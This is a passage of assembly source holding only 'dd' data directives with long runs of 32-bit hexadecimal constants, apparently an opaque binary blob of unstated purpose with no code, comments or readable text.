0E3E4B826h dd 0E17BA5ACh, 0EEC0C201h, 2398E336h, 0B4350355h, 908D4C24h dd 3CB55104h, 7339C29Fh, 9A69D880h, 0F780C946h, 0CDF79752h dd 0F7688563h, 0D1EEF580h, 0F1142AA9h, 78B2BFA1h, 8FDAD300h dd 623C6197h, 4601BFE0h, 3A5F6C4Ah, 85168CB7h, 0D3D9B919h dd 0A93B7BC9h, 0F2AEA4EFh, 61FE4A1Ah, 2F0E91D1h, 1923186Fh dd 11C5D500h, 0F1A8DDE3h, 0D86B1265h, 4D73BD4Ch, 0CDCD5C97h dd 0A17B3AE9h, 801FF85Bh, 26F381FCh, 4BE42DFBh, 1B598A73h dd 2903C418h, 0D0F47D6h, 0B6AACC2Ch, 560925C9h, 0BB66504Fh dd 0C6AAD425h, 0F600DB0h, 780F0B8Fh, 31FA93A7h, 6ABD89C6h dd 6EEA8ED5h, 216234Ch, 56A92B75h, 640F8F0h, 495FB45Bh dd 9CC557h, 0D22DD9C9h, 83259FFCh, 0F8B6C129h, 80B1022Eh dd 3AD7FFCBh, 40DDED55h, 836C528h, 96BDAD12h, 25DBF3BEh dd 9DB4C6F9h, 0C85953E2h, 1F2CAE20h, 0F989F513h, 509555C4h dd 82BD5B4Bh, 142DB501h, 0A504C55Fh, 1D4CF7Ch, 0D35FBF58h dd 0CB966656h, 7076E2B9h, 371E91A7h, 0EDED739Dh, 3427C1B7h dd 0B70A2A1Fh, 2F67ECFAh, 0E09B0AD0h, 39D9003Dh, 4869269Fh dd 65097C81h, 55689EBDh, 0F94B9C6Ch, 282B668Dh, 758A1D53h dd 2AE741h, 2E8A6096h, 1CA853F0h, 0AE509E58h, 1FA53B24h dd 246DF8A2h, 0A5516DD5h, 0CF036FB7h, 0E12F945Ah, 0E63A698Ah dd 3019B299h, 1D3D106Bh, 2916879Dh, 550BFD85h, 3ED070BAh dd 0FBB7BE9Ah, 74B742D1h, 0CD693A57h, 11E460E3h, 0CF3E938Ch dd 0B8B28C4Fh, 0D371982Dh, 660BAE81h, 0D1B55BC6h, 150B6507h dd 9612FFF9h, 8BC12BB2h, 2B8FE9FEh, 71EA5A84h, 78B9B324h dd 1BD08B7h, 458D1C18h, 95274CF9h, 51BCF937h, 51692207h dd 0ADCBE184h, 0A42B2272h, 97395F5Eh, 54E22E03h, 41E8800Bh dd 5200DDB2h, 0A5AAB866h, 11490490h, 17BF025Ch, 822EC29Dh dd 7F2065E2h, 2F0092BDh, 0BF4CCE5Bh, 0CD42D6C4h, 0EB726054h dd 1458F403h, 0A8BCF007h, 0AB0CDh, 2823E9E5h, 20638867h dd 0E06A3Bh, 0A50F944Eh, 52EC54h, 0B1313C71h, 0AC419D9h dd 9704AD01h, 50574D1Dh, 3CA57CD4h, 0F0365F3h, 7DFF6C34h dd 0CCD620E7h, 4F005467h, 0D43772ECh, 0BA58EFh, 8EB6D765h dd 0B8428956h, 0C24C3200h, 18C59825h, 0CAAE076Dh, 0C136DE13h dd 889D0BC0h, 0EE18E19h, 5084478h, 0BF324D07h, 0EDD85B10h dd 3ED3EFA7h, 7C001110h, 9B2CB819h, 1C66B0C3h, 212808h dd 0F77C2A73h, 0FB71E361h, 53E9000h, 3A9F842Eh, 0FA0106A4h dd 3031BFB9h, 98F53F01h, 0DEB87440h, 5D0C78BAh, 0B090D48Ah dd 0D7E17E03h, 311242Ah, 2F312938h, 4113C257h, 76006EDFh dd 0BBFC4D48h, 8756640h, 36A021DAh, 7B00DF9Bh, 1C176093h dd 1834E96Fh, 700C9C54h dd 0B8C0E4D8h, 89193831h, 0AC82032Bh, 0CC11347Eh, 0FC422DF9h dd 4D00A4BEh, 6337E18Fh, 1C5AA7Fh, 1B686FE0h, 0F45345FCh dd 0CE1DDB4Bh, 56400B03h, 223B9188h, 9AA300A4h, 76D76887h dd 4000DC95h, 4D393E9Eh, 0F53C84h, 0F0F1AC3Bh, 8DE04CDDh dd 0E771F700h, 80159F82h, 8307185Dh, 14F838EBh, 576B2C00h dd 0AFD96912h, 0CBDA00ABh, 0C5F7988Ah, 0FE01AA8Bh, 0F57B1F46h dd 55F1F4BCh, 0A09DA3F0h, 3EF27A0Ch, 0D508E126h, 4B80B873h dd 0F1A11A6Dh, 87F800BAh, 91545561h, 0C5185785h, 1D28AB93h dd 0C9D80072h, 62C8F213h, 25380A98h, 238803C0h, 9B1B4Fh dd 2E5DEFE1h, 6735279Dh, 13F889F0h, 88997200h, 0BFA2EE0Ah dd 8F16304Fh, 0B1411431h, 29D0BE63h, 3F50000Dh, 4C0647D5h dd 82500FDEh, 0FAFA8997h, 6B9B4800h, 1C498CDAh, 0DE163DABh dd 2E112BB4h, 3F608304h, 0B4100024h, 1E754714h, 410132BDh dd 0BAAAC4EAh, 33C15342h, 0EEC4A171h, 0F7F01A8h, 0F0C4C84Dh dd 65F2FCFAh, 7C20691Eh, 878D9080h, 1CECF1h, 0C36B7A13h dd 959F75CCh, 0ACB62400h, 151D5A4Ch, 61400DAh, 929DF18Eh dd 6F006C74h, 0D432D0DDh, 88F7FEh, 0E0B432Ah, 0D5E127Ah dd 17003AB8h, 60190806h, 0D228FDh, 794FA5C7h, 8750D83Ch dd 13B9E00h, 0A35CBD93h, 7081005Ah, 0FD1D4CB5h, 0EF00380Bh dd 0B418B864h, 9EC2F7h, 454E7F33h, 90E38C7Ch, 5CC50F00h dd 8488BA82h, 153900B0h, 38949A42h, 0AE714BD1h, 0E150B460h dd 0E83407h, 0C521A965h, 4A800946h, 0B98629C0h, 0CCF0E4h dd 653933F7h, 585E6CF3h, 9C69BCA1h, 0C840D13Eh, 1B444CAAh dd 24B30F60h, 0CEA0D4CDh, 0B6EF6725h, 45C91200h, 0EF2794Eh dd 0A94700F8h, 2904909Dh, 2A163DB7h, 78053A51h, 0EC403E88h dd 0B5F6E6C2h, 7E500003h, 0B0784069h, 4B002795h, 19567B82h dd 8D2918h, 0C15CA8E9h, 302643C3h, 5997C21Eh, 959B6580h dd 1AAB422h, 0E9AC61Ah, 0F8F7E2DAh, 9800F0E8h, 7E6B7432h dd 1C1DDD7Ch, 0FF9007DCh, 0CDFC9580h, 216191ADh, 380DED30h dd 99F098h, 7A349B33h, 286D68A1h, 8EC27E00h, 969D8F83h dd 0E7B2025Ah, 0D6329AFBh, 67699882h, 5E14420h, 4DE8D5h dd 0F4A9F54h, 1FA3700Ah, 2D166F77h, 5700D3CCh, 6EDCEAB7h dd 965D18B3h, 281F2680h, 0D195F400h, 0A1A56443h, 0C1300F2h dd 0C601390Eh, 77004BB9h, 0A36C20Fh, 0C1D58509h, 7B7E6A80h dd 48A8E4DEh, 5E559892h, 496ED08Ch, 0D4DBD603h, 0C0EE242Ch dd 0F46B8F5h, 0D0D5BC15h, 0CB047780h, 0E701C32Fh, 0F391A6F7h dd 78F059CFh, 9283006Bh, 22DC4088h, 471201C8h, 4000B756h dd 0D534EF5Eh, 9F1F0011h, 0D884D0E0h, 4900B546h, 0EEB18C60h dd 5527B69h, 0F911AD37h, 80945F92h, 0B7239555h, 0DC90475Fh dd 0E2BADD00h, 7535E908h, 8CA300E7h, 4286BC8Eh, 3600ED5Dh dd 497615D3h, 5C2829h, 62963870h, 0CC7D9706h, 36F2D503h dd 0FFACD966h, 0E9D35541h, 9000F025h, 0FBCB70h, 95BBF777h dd 0D8981894h, 9C9BF200h, 6520482Fh, 3B2602B5h, 0E26857E4h dd 76059A40h, 915B1E00h, 4D3396BAh, 325FAB9h, 0C1412BA2h dd 2800E38Dh, 88868FF8h, 45292Ch, 3BB651DBh, 0D6DE74B9h dd 3846DC48h, 3EBD80ADh, 0FD08476Ch, 0C95201EFh, 852531CEh dd 5A9C40D4h, 0FA12027Eh, 0A800C7D6h, 1B277665h, 0A6D9093Ah dd 9C008D9Bh, 0E09D549Fh, 4FD22605h, 0C8413221h, 46423811h dd 82D048h, 689E8058h, 55CB81A6h, 0BBC38B00h, 6C774516h dd 363F00BCh, 0C288EACFh, 6D00A28Ch, 6BBA5B95h, 910786h dd 7D65F0C1h, 0DB06991Dh, 0D6CD3600h, 96F2F6E0h, 0C8AE042Eh dd 0D0B50DC9h, 0A43048D4h, 0E9E20E02h, 6084D2C1h, 0B0940643h dd 0ECB71CCh, 7F876743h, 3D054443h, 0B6D470F8h, 9B6A9200h dd 24C85585h, 18979E8h, 0C5B8B33Fh, 0D8E56F76h, 0EC15FB65h dd 20841FC3h, 41C2125Ch, 7FE04112h, 0EC73C110h, 0B00B7AFh dd 70F1A4F4h, 334C5BAh, 0DA66EBE0h, 0C3D0C81Dh, 0DF002426h dd 1F7DDE0Ch, 4D3041h, 0D24863BCh, 2818D837h, 0A79FEE00h dd 0DF6A1B5Ah, 0D1F8FAh, 46A50B15h, 407CA4ADh, 2A035000h dd 0F43A0F3Dh, 9698F5h, 7249A360h, 31BCB25h, 6712A77Dh dd 18009438h, 15314655h, 4D6D121Eh, 22480064h, 0B264ABEh dd 0CD78677Dh, 3133B930h, 4C84B841h, 0DB008AA7h, 0EEFDC537h dd 0BF00A9CDh, 8801116Ah, 395EF44h, 1F5C7F18h, 27A80D9Ah dd 2C163367h, 4B003AB6h, 11C72168h, 1E351C26h, 0FC9B80AEh dd 2FCCA333h, 3D7C9703h, 935D7F5Ch, 0B847F390h, 15EBA43h dd 666DC910h, 0D046C2A3h, 0B907161Fh, 0EA6C6308h, 6592AEC0h dd 0C0FF00C4h, 602F730h, 3900A1E1h, 0F1DF0AC7h, 78B08CB8h dd 0A8D400C2h, 6373F711h, 0E028168Ah, 9F00A7BDh, 0F3951ABCh dd 13427h, 3A4BF580h, 0DD3960E0h, 0EADF2B09h, 0C824806Ah dd 57B1ABh, 0C1944F7Eh, 9C9F35Fh, 0DEF6FE00h, 418DB26Dh dd 2EEA61h, 9E8BE28Ch, 50B0EDEAh, 0FE56BF00h, 64AE99BBh dd 600F00DFh, 8320E2E1h, 0C700578Bh, 823FD08Ah, 0FAA24BBDh dd 6E1E00ADh, 0D1E62F48h, 20BAC91Ch, 140EB77Ah, 203227B4h dd 2C07FAC0h, 9923009Eh, 4FAB05EAh, 4D0045A1h, 42F7BD9Dh dd 0FEE9273h, 0B9AFACE9h, 906C09Eh, 5030E4Fh, 0E6C53600h dd 5BB5A539h, 0BE5917A2h, 87844008h, 0CF656DEFh, 0AC978000h dd 0E5C01A85h, 0B1253895h, 2514180h, 0D3830C2Bh, 30E3FA05h dd 0AE8050A6h, 12071h, 0F2E9C0AEh, 0A2BA90C2h, 0B630C00h dd 0D930BF6Ch, 5F602EBh, 886683B5h, 5D0FE848h, 9007A2E0h dd 98A0F875h, 0B806E441h, 0F87420BCh, 2EEEF8F2h, 0BED042D7h dd 54E6A809h, 30D2F4A0h, 0FF7050C7h, 89065BE8h, 53ABFA6Dh dd 3BF67C38h, 44BE8E76h, 0D6A82780h, 8F5D2440h, 3F90461h dd 89F80568h, 0F310A13Fh, 0FCC20C9h, 2AE094h, 0A6FE75B9h dd 0B6B54C8h, 1D4EA300h, 8878F270h, 9567019Bh, 45105012h dd 948FC425h, 4A081D00h, 0C2DD55A6h, 3C5B0772h, 705C649Ah dd 9FCD9E9Ch, 0CE21520Eh, 720B2022h, 17A01F0h, 938AE1AFh dd 0E49FC0EBh, 57079C63h, 2EE0C7BFh, 0F19854A0h, 0D7610076h dd 392FBAD2h, 927BC4CBh, 256EB900h, 0E5AD6F3Bh, 273F00C0h dd 660C90B0h, 42003A67h, 1894D61h, 0A0F406FBh, 952BEA94h dd 88881658h, 0CF008E3Ch, 0A88F8B2Dh, 0CCE78355h, 0C1213B08h dd 14CFF600h, 1ABBCB0Dh, 0F3A1583h, 2800C852h, 77BC255Fh dd 1107D806h, 8AC92F87h, 0B8188F01h, 8C811881h, 50276447h dd 9556CBE8h, 58A0FA0Eh, 33191774h, 2197CF08h, 7A3700E9h dd 0EE0C01ECh, 65E06700h, 0CF39BEACh, 9260C10Ah, 1A1D887h dd 4707CDBh, 21195CBEh, 41041040h, 30C9A8BDh, 87E13178h dd 0A1574A20h, 30662848h, 0B7190E07h, 3A80AC84h, 98985033h dd 970300F3h, 8953AEDBh, 6400E76Bh, 1D407A3h, 90595D06h dd 0ACA4004Ah, 0D2F2EB40h, 0E009D14h, 9739DDD6h, 7C5E8592h dd 0E45B0061h, 4186C7C8h, 0AD00800Bh, 65FA178h, 0FDD6AAAh dd 880D35C5h, 0DF74DA40h, 360FEB30h, 26465DE0h, 405A43h dd 0F5FDDBC6h, 0FAAF1D47h, 0AEE25BF0h, 7E330E2Eh, 0CCDC813Fh dd 97B64727h, 3063430h, 305FD311h, 5000DABFh, 0AF2776Bh dd 1859CA16h, 192BAF48h, 30062707h, 4C3F22D7h, 11B80171h dd 0C42A014Fh, 0BDC2067h dd 0EFEA2500h, 0B3BD521Fh, 767F786Bh, 90CE0620h, 98C168B7h dd 0D595E40Dh, 45E04936h, 54DC185Ah, 4E4311EEh, 416A2300h dd 0AA554007h, 0A5350CFFh, 5441C3CCh, 24D78700h, 61B21957h dd 510F0073h, 0A2DA9B69h, 8500036Bh, 0BCAAF5C9h, 304BC333h dd 0B6715C3Eh, 0C5008A6Fh, 2F41E586h, 1D643213h, 244CAAh dd 9CE0B3FAh, 51033B3Fh, 0A9EFDE29h, 0FC083728h, 3F340021h dd 0AB3E6E74h, 0E6CF9271h, 0AA398F00h, 486279h, 0ACCE978Ch dd 0B988611Ch, 0EDD8681Fh, 6FEB6907h, 854866C6h, 60E3C43Ch dd 0CBB805h, 0BEB770B2h, 3B9DEC1Ah, 2ED1DC07h, 0CA8035E9h dd 1B3FCC6h, 0B493E8D7h, 0D08064C0h, 0FF7C2D10h, 3BDA10C0h dd 0C619CEBh, 7968C42Fh, 21C0D009h, 6AEB44BAh, 65BD0083h dd 0E9ADCF4h, 1802DDA2h, 4C0A1A40h, 0AC64A4F1h, 153F8260h dd 11995123h, 9B6E00F8h, 0D38CC3Fh, 0D77E0063h, 856B8EBDh dd 3480FDFFh, 286C50EBh, 94A5140Eh, 0DE2EF101h, 0D8A6014Ah dd 0D467D72Fh, 9106C690h, 69883EFAh, 0C4C00130h, 8F27739Bh dd 0E724C876h, 3090BE3Ah, 93CD217Bh, 0E20C0073h, 0E7BA1EEBh dd 250CCA1Ch, 0D03BC6FCh, 83048CADh, 9151183Fh, 6D20FE62h dd 423F38h, 737F8110h, 7A37AACCh, 0E2F12907h, 83B053CDh dd 0A61686Bh, 2C3DB487h, 0EB1863C4h, 62E7D4FFh, 11BD20D1h dd 9D057AEBh, 559228C6h, 6C38014h, 24E8D0B6h, 5A670029h dd 19E0A7A4h, 42097FABh, 813C40D9h, 0F939AD47h, 22AC28A0h dd 0B12AFB6Bh, 0EF018872h, 5C1656E9h, 6EECF12Eh, 9A873977h dd 193A4880h, 0CAEDD9F8h, 0F4600A18h, 48B835D8h, 60C34D2h dd 374976AFh, 90EA0137h, 0F6618580h, 3C810040h, 0DA1B185Fh dd 0B3059012h, 42FAAEE8h, 7397D860h, 968F1023h, 80DCC890h dd 0F273AF29h, 0A306D0FCh, 5021BF6h, 8E4F0069h, 0D23BB00Ah dd 3000F4FDh, 863A7A2h, 317D8F05h, 15A8F864h, 0C9A0F3ABh dd 2229AC0h, 26D303B2h, 546D9BA9h, 0EF34FEF1h, 21FC0830h dd 2A93E2Dh, 141BBAB5h, 0C0807011h, 8E6B2A6Ah, 4430EB78h dd 43D3A865h, 94055028h, 0F5881262h, 55FC03DBh, 18F6C9F0h dd 3FB48112h, 0EB160061h, 4C379642h, 0A3ED4400h, 71EB3F02h dd 0A0FD4C31h, 48DD47DCh, 6A39009Eh, 7BA43C0h, 0A300D33Fh dd 0BF7DE9D2h, 52BB82DDh, 0B840B081h, 900F8C41h, 0B18F2273h dd 26807B88h, 0FBF773A8h, 21203C61h, 0A053C8E0h, 0F480D454h dd 60334C94h, 8CE1BCh, 74B96F10h, 79AB6895h, 8875D01h dd 75ED204Fh, 0B0096899h, 8911844h, 0A68F2173h, 2740DDC4h dd 86BF73A9h, 530A7102h, 666EEAB4h, 0B1A10120h, 3A05512h dd 66197040h, 9FDF8803h, 8898EDC3h, 929817Fh, 0F2F87DD9h dd 978A1801h, 19B1C0A7h, 0AB2B0A00h, 2CFD4DA4h, 647B025Dh dd 0C33B8E20h, 3CEEF0A3h, 0C6C05800h, 62FD2FA4h, 3A8E244Dh dd 80371138h, 6D90A921h, 0FD448C6Ch, 0A9390EF4h, 84144F26h dd 940F3D23h, 0E8FC773h, 41786428h, 3B73ACCAh, 67DC6DF8h dd 0F01AC8F1h, 531359ABh, 3599A607h, 0C0CFE0DFh, 0C6DF128h dd 6A28C6E1h, 40467080h, 25739502h, 0BCB3868Fh, 0AD2B40ECh dd 4EFE73h, 2F093907h, 0A25C434Fh, 0B0306E00h, 0A5787F37h dd 0B20980Ch, 32E19BC0h, 4E89FDh, 0FC0E64F4h, 67360310h dd 0FE699873h, 9CDC5850h, 1E88E340h, 9D3A4C65h, 5875792Eh dd 0D4117438h, 0DA5405D2h, 203C43AAh, 623546BDh, 6C9E0F8h dd 0D0C0884Bh, 0EA86FD28h, 7C7515BAh, 130BC8B1h, 0A0028109h dd 3A182C3Bh, 4361F8EBh, 43BF8017h, 1EFFFEBh, 2CF9ADFh dd 24F0DC37h, 0A08C9D08h, 4C6D9A5Fh, 2EE0405Ch, 2FF6A93Fh dd 0DA570301h, 12F00FC4h, 0D7A22C23h, 0F6BA30h, 0D2F53FFFh dd 6B99730Ah, 30AA9200h, 0FD6D431Ch, 0FA43006h, 7855F1E9h dd 0FC516A90h, 15D9F1DCh, 0A4F56483h, 9E30A822h, 5139393Fh dd 0FF2246h, 703F376Ah, 4C600918h, 38BB49h, 6C11A5D7h dd 0C0EC639Dh, 8EF9A268h, 673B66C0h, 0A8EF2678h, 7B0BE89Ch dd 0D4809CDh, 0C7F098B4h, 4A7800B7h, 0DB74A5C5h, 3AE2F13Eh dd 0EAA4AD03h, 7B67D46Fh, 0C4A31368h, 7A640BA6h, 0DC02468Bh dd 0E98BD05Ah, 0D445981Ah, 8663D3C4h, 0AB5FDA00h, 0E70F9667h dd 2AEF1472h, 0E8109866h, 302E9669h, 0AC00E223h, 0B4BA3AD6h dd 0F1CC0C6Ah, 0D421F44Ch, 9C181500h, 0CA6C0C7Ah, 5DF0EFC8h dd 235602ECh, 496530F3h, 0E43C1CE1h, 0EB21D713h, 92A02004h dd 0FD400ABCh, 10844BF8h, 0C73AC894h, 619EF139h, 88D5183Fh dd 0EB0042B8h, 0D8FD4358h, 0FB9597EFh, 1ECEB0FCh, 94A415A9h dd 8488C0Eh, 70EA5106h, 0B135C9C8h, 108E693Dh, 46C0DE88h dd 488327h, 60431D0Eh, 0B4F96487h, 0FA796E7Fh, 920528A4h dd 0BE8F3873h, 79288Eh, 0F86073AAh, 0A0196CC7h, 18F9C824h dd 6198A981h, 442246D2h, 0D879A582h, 0B8A28724h, 0B930D5E2h dd 671C0013h, 0FA809A6Bh, 7075DD6Dh, 0F67E750Ah, 6A02942Ah dd 40C0EC7Dh, 54A590h, 79E08B6Eh, 0F8230E9Bh, 99F0B150h dd 38B9E0A6h, 0F718ED59h, 0AD6CD506h, 968C633h, 0F5EC65F1h dd 58340481h, 50A07E0Bh, 216C90FEh, 9311663Ch, 163F8580h dd 87E151h, 993F9A6Fh, 0B509473Ch, 22E41D2h, 1D77148h dd 2727F10Eh, 0A70B225Ch, 60D744D0h, 0A02ECB1h, 5C980950h dd 0EE118Ch, 6A17DDA4h, 77BADCD6h, 87530234h, 0F1C3134Ch dd 813A6854h, 151B9C8Bh, 8440979Ah, 24060267h, 0A01CC8ADh dd 0F1FC7158h, 0C47DDC42h, 0D74200ECh, 0B13C21BDh, 30C1F8A9h dd 2BECCDEFh, 267DC064h, 4E7CE9B4h, 4E229C4h, 9D28C915h dd 3AEA3502h, 0C7B9B607h, 60DD44DCh, 4C93055Dh, 0D6889013h dd 0AF46E4A0h, 3A3F8107h, 88C54951h, 3F366B80h, 5BF61Eh dd 8EC27423h, 0E6D77F51h, 8234FC4Ch, 266A158h, 0BC61089Dh dd 30904288h, 58626C27h, 0E48080E3h, 0E75BF072h, 2189A0E9h dd 1C82D86Ah, 88403BEEh, 618229D4h, 23183984h, 6D96A904h dd 0D837C83Ch, 0A93BF281h, 31C89A7Bh, 861F02A8h, 0F1786652h dd 504030CAh, 2D6487B2h, 685932A0h, 2E25183Bh, 21A194A9h dd 3D304034h, 8300C2A9h, 7D0947E8h, 600118E0h, 73C62108h dd 98008BFBh, 7E0FF4DFh, 4B183CDh, 45F3D13Bh, 7B38C0EFh dd 0AC092EDBh, 480670EBh, 8FE768h, 79AB4630h, 0DC65D3DBh dd 15EB4490h, 0DC23083Ah, 0D2C0E41Fh, 128E7076h, 6559204Ch dd 61F85312h, 0AF33FC82h, 0A4CB92E8h, 6EC3F9C8h, 2FE1F09Ah dd 0D44C040Fh, 0E0FCB435h, 71455224h, 9EDF003h, 0E455B439h dd 492F44A3h, 10028128h, 280775F0h, 9B1FEA33h, 1901C6h dd 0A2776F32h, 10A9C2B4h, 0C9E12300h, 278653D4h, 61AE689h dd 983A919Eh, 78B07967h, 4E246C20h, 53902083h, 1600CB6Dh dd 0DDB6EE71h, 3D205Eh, 43C1FC10h, 0A06D8C50h, 6A01909Ah dd 1835F3A2h, 88E0ED21h, 9BD10055h, 0DEBC2E8Fh, 0FD1E0E40h dd 64D270FFh, 0B5F33800h, 2B4C38h, 91C3E3D7h, 11EF23E9h dd 798C9803h, 695D49Dh, 2C65F340h, 8A005827h, 0F001E997h dd 3914BDBh, 7D8F8922h, 882CCE3Ch, 77951CEAh, 0BC3C5CD8h dd 9F48CFDh, 0CDF3EC01h, 0FCC71024h, 22303602h, 6D9709A9h dd 6045C834h, 0A900C12Ch, 0F87596E9h, 0AC91045Bh, 80FC1C43h dd 9822CE28h, 0FC5C6948h, 20098C7Bh, 0C54DFB36h, 67E5E448h dd 0E2377750h, 7E6B000Ch dd 75C80635h, 0C1C9FE7Ah, 8C98E84Ch, 31663D2Eh, 0B79D9B83h dd 4D90EBA0h, 0DD000DBFh, 0EA5A2274h, 90F0D876h, 1409400h dd 0B85851F3h, 60F08BD7h, 0E4FC4573h, 726360F8h, 0C0A789Eh dd 0EB14A3ABh, 0E025FB50h, 0DC88B9D1h, 31A55300h, 8269B269h dd 0E49FE8h, 80A355F3h, 0B6FCC801h, 339281B4h, 0FE88CC2Dh dd 0E1203214h, 0CA1885C4h, 847B0C91h, 0D7FBC460h, 0ECE8E724h dd 886090A4h, 0D965A0h, 0CC74166Eh, 739B5E32h, 0B0FA53F2h dd 33A8A352h, 0A99CC2Bh, 0D64C9A10h, 1F45819Ch, 0C0D8E6E1h dd 20074FCh, 81EB3829h, 4B485E4h, 906D8F22h, 0EA3402C9h dd 330058A6h, 9F91E12Fh, 0FAA917C0h, 3CB18F02h, 50C1CBF2h dd 0F050B03Ch, 0FBD5F915h, 0B6263080h, 1F96EF11h, 41739F0Fh dd 0BC1B20E6h, 11D3F44h, 0A9CE973Dh, 0D0B2CC04h, 3B052D11h dd 0B5AFAC53h, 0E4A01185h, 4A790185h, 6C894B1h, 22886C20h dd 2C263CC0h, 0F505A160h, 0E1F9A9Dh, 0B547CC7Eh, 0C08FF463h dd 0CD8C658Bh, 0DC1B4810h, 0E7093A00h, 1D51DB07h, 0AA2406F2h dd 80BAA46Bh, 7E43C679h, 319F07AEh, 0F1D66A4Dh, 68012024h dd 0BD586113h, 12AB5842h, 7738C1F9h, 0BE813712h, 83DE2F27h dd 4FFFEE99h, 0A818C34Bh, 0C6B9C32h, 0B60D2FE9h, 91038E20h dd 0E29A79CEh, 973198DEh, 0C2EA61h, 3C2475EFh, 3FA1D980h dd 0D9C931Fh, 48403DC3h, 4B320065h, 691E424Ch, 670321F2h dd 7F3F91C4h, 0F308302Ch, 0F1602521h, 0C844B607h, 0D770A3EAh dd 0E4186EDCh, 842005Ah, 0FE43B2F3h, 1900AC4Bh, 0E3B65A1h dd 66336F02h, 21AB087Eh, 0A1107200h, 2BFB2FDBh, 98A6006Ch dd 31B796B4h, 300090FCh, 0B64A6B6Fh, 4485DE7h, 5B7C954Ch dd 6F9B219Ch, 20C75106h, 386E94h, 0F1BF0748h, 692CB64Dh dd 3E18B7FEh, 0E54E229h, 53976FADh, 23C0B0E1h, 80CAD14Fh dd 0AC0C7C21h, 7D131F82h, 2A5CF20Ah, 0FF9892A8h, 0A880019h dd 98AC2C67h, 75481B20h, 0B4F2003Eh, 20E1249Dh, 0A83E79C1h dd 28D206CBh, 1EA00567h, 0CD5D323h, 2010FF7Fh, 40BCC730h dd 10644FEh, 0B09F93FBh, 60AA4F43h, 257DA95Bh, 0B70173B0h dd 48FE75C1h, 8850AB27h, 0F8F4BF96h, 0C7830FDAh, 0B8E01ACCh dd 0EBD29DBBh, 614D4700h, 244F31B4h, 0BC2129Eh, 0DE7F00EEh dd 572A2644h, 8A216400h, 9846BF6Ah, 16DC0018h, 0B0BC6123h dd 2A00EC44h, 0D669C7Dh, 2927A0h, 0D4255953h, 2F1BA4A9h dd 0DA0794E6h, 0E94413BDh, 4F83F047h, 6F3AA0F6h, 0F7690095h dd 40A88CE8h, 7003288Eh, 3ED55F92h, 9A12E0F6h, 59171FD2h dd 16BA0F1Eh, 5EF1FB03h, 295761C7h, 0BD2881F8h, 0C0F31BF5h dd 39676080h, 9748B92Eh, 6E632000h, 0EF5A7923h, 0AC53E8Dh dd 0FA3A6003h, 300FA883h, 451BF3EAh, 141D736Eh, 9E4D1840h dd 3AFA3Dh, 0EBE44BBFh, 0AAFE1E5Bh, 6F945019h, 1C4863D1h dd 19496028h, 9A113954h, 0B8848703h, 0CA66A51Eh, 954C8028h dd 0A01DBD7Fh, 64DB3C80h, 2E28B8E3h, 8A079F22h, 0A73B8171h dd 417C4AF0h, 0A94900C8h, 0EA951976h, 69E430BDh, 0E5F0FF0Fh dd 94C5A06Fh, 68FEC91h, 2F981661h, 4900B141h, 14C417BBh dd 1D71019Ch, 3902085h, 0F18335D7h, 2FBD700Ch, 7F00898h dd 99D205ADh, 9D50C092h, 0C0009188h, 55E4B0C5h, 7721BD3Fh dd 5278C493h, 0B61400DCh, 719F33B2h, 63A4403Fh, 0E9255630h dd 50E37212h, 1ED988Eh, 0C3EECDFh, 60B610DEh, 1D02EE90h dd 0D43CA225h, 9BD6439Bh, 62790586h, 474925Eh, 1E8D4024h dd 2E3CA0C0h, 0B0587DFAh, 9BC1C03Fh, 20E52779h, 0BB395300h dd 5D88EDC2h, 50822A4Dh, 96B707B0h, 0A0CD8A7Bh, 0D4BDCB6Dh dd 0AD756E00h, 806AB199h, 0A04E5036h, 0DF701471h, 5100D094h dd 0DB9803B6h, 0A007243Eh, 0E507B9DCh, 0FD480EC0h, 829B008Ah dd 8414ED1Dh, 0AD006AB7h, 64135D6h, 92FE63F5h, 96823094h dd 3E1E7289h, 54D3F100h, 4E7AF56Ch, 5DC33018h, 2E3DCC70h dd 0BC9CDE1Eh, 2CBCEA1Eh, 850037C6h, 0A03B8B37h, 59E20150h dd 0B8D5CC0Fh, 8ADA309Eh, 9FF7D006h, 69C0F5h, 0A8FEAF1Dh dd 470450E9h, 0C438F400h, 0E2B6D2E0h, 2BE865h, 0C448216h dd 71F7C2F9h, 806BCB07h, 0B5B0A0A4h, 4A8147Eh, 8119997Bh dd 64CC81BEh, 353C20BFh, 24924F73h, 384EF000h, 254CCA65h dd 2833185Ah, 1AB04644h, 18C160B0h, 0F9306E3Ah, 0F8A6AE60h dd 0C1C5496h, 51CB42D9h, 800C12D7h, 2D0C1411h, 0C1F008E9h dd 95F86649h, 0CB200077h, 0C9B240D5h, 8C08777h, 0E72B9E4Ch dd 4F6A06E2h, 182624E8h, 2254CD00h, 961B662Ch, 651D621h dd 39152E9Ah, 0B5CD0D01h, 58314FDDh, 0F0E6C6E0h, 63FFF04Dh dd 0BFD5C033h, 0E0DD711Eh, 856670Ah, 6608DB1Eh, 0E73580BEh dd 0BCA13F12h, 30FBFF03h, 7C4702Bh, 0F1D84479h, 0EDA601C5h dd 80BE11h, 0E72EC6DBh, 1FCAD9CFh, 59335D95h, 104E7828h dd 4A9937h, 181CC4F9h, 0A9713012h, 0F06948C4h, 233BBB00h dd 88A82784h, 2EFE5185h, 0F50D9979h, 857A0B0h, 203546h dd 92A7C86Fh, 3C7E2961h, 59AB2806h, 411785h, 0FCC16007h dd 9C4F9681h, 2913E600h, 7F1A5A86h, 802E0098h, 2DE5247Dh dd 2801D31Bh, 0BD6654C4h, 98613932h, 0B425498Eh, 3EFC85h dd 75311A08h, 960C4DCEh, 99522D3h, 7A21C039h, 232F7259h dd 3815B38h, 7E767706h, 7440903Ah, 80049012h, 3042FBF8h dd 98108710h, 4D01554Ah, 22FA1803h, 298E1A5Dh, 9C34D1BAh dd 2A4D5F01h, 80DD4504h, 380D7E10h, 0C447A1h, 0A58BF029h dd 1299B6F3h, 9904500h, 0DABA4D92h, 2D6C0013h, 0F66148C7h dd 0F900C07Fh, 0E569E07Eh, 7A067A9Bh, 1A713A86h, 78E75680h dd 2CFB2E36h, 75888300h, 0FADECD5Eh, 150F0109h, 0A9EDF120h dd 0AA46D096h, 0F8BD38h, 10D5C757h, 0FF06EBh, 0DF05C869h dd 6B379B4Eh, 0BB9C8C11h, 3EFA0446h, 108B30E1h, 1C945C43h dd 82A02Bh, 97BB52EBh, 8C0344ECh, 4C92E179h, 0CF43C00Bh dd 5129DE9Bh, 489511EAh, 0F08BE21h, 28C89498h, 42143828h dd 0C4EA3C2Ah, 0FB228474h, 115642D2h, 7000F178h, 0BABB51F0h dd 0CA00C0E9h, 5EF99A6Bh, 90C95Ch, 131CB466h, 25C3DE80h dd 0BE072E00h, 